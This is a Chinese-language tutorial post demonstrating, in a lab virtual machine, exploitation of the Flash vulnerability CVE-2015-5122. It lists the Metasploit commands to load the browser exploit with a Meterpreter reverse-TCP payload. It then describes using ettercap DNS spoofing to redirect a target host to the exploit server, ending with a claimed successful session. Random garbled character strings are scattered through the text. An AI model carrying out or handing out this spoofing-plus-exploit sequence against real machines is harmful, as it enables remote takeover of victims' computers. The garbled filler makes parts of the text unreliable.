cve2015-5122漏洞实例演示虚拟机

admin

二、cve2015-5122漏洞实例演示虚拟机

1 S6 D- t/ @' Y! G" M   关于cve2015-5122这个漏洞，大家可以百度一下，是关于flash的漏洞，是2015年flash漏洞的第二发，今天我们就用这个漏洞来演示，开启kai linux msfconsole命令启动msf如图：

- m- G I5 m+ @. i' \ G: t$ O

search cve-2015-5122如图： 6 _2 r; f: j- `/ a Y7 g9 E

; |) l7 F9 V' f7 b  

下面我们敲如下命令： 6 k( h$ O7 d2 d9 j8 W

4 O$ R5 E' b/ f5 K% c use exploit/multi/browser/adobe_flash_opaque_background_uaf 3 U A! R6 K' E/ L3 J: d

' W3 ~+ [% m) L2 o

, ?0 r( \( d" F o' F4 e0 p set PAYLOAD windows/meterpreter/reverse_tcp ; _5 `5 ^# |- t- n" s$ W/ Z) t/ c

8 E2 b; ~9 [# P' p; Q4 V' v# N, U set LHOST 192.168.0.109

/ t g8 f' n: F set URIPATH /                        /*根目录*/ ! w f4 X# B% g: ^* e0 A

* {1 M& K: z5 b" |/ M

- |; k$ |! f% _3 z/ H! c set SRVHOST 192.168.0.109  //192.168.0.109为kaili ip地址 7 b$ `9 T( t$ T1 T+ F

set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用

然后show options如图： : g7 U9 J- {9 w" H: s

( {& f. K" t8 z" u- q% u

 

# b1 X& g. c# a' a9 k5 A

( X$ ?2 A9 k, l4 I2 E! ^& P: K 一切都设置好了，执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图：
; ~: A. H- A$ L6 m1 X" M) r* M + i* p/ z+ ]( n2 O( v$ h- r! B5 e$ L

& k; {8 |7 Z5 h3 b/ {( K

然后ettercap -G命令打开ettercap，我们要攻击的主机ip是192.168.0。115

- Y# ]- {/ B6 L8 Z4 ^3 z: Q Ettercap过程第一篇里已经演示，这里不在详细写了。。。执行完ettercap以后我们观察一下msf + H; b' @& a/ K7 a: e

7 a. b. p1 j9 r9 Z& u1 t

4 n$ \. e# {' V$ k. r# x/ t& y }   ( @9 l" L* s2 G, V: y% ~! e' B& ]

9 v$ }$ {: O; U; J, f4 D9 E

成功了，这时候我们断开ettercap，如图：

1 v. S f8 v" F6 n. [& h. l+ D9 P

9 z+ V$ Z) I* n) I3 c" c   3 ^/ u( |3 j: G& V

Screenshot如图：

" C9 w$ G- |! F

  0 ^$ ?. }- t: A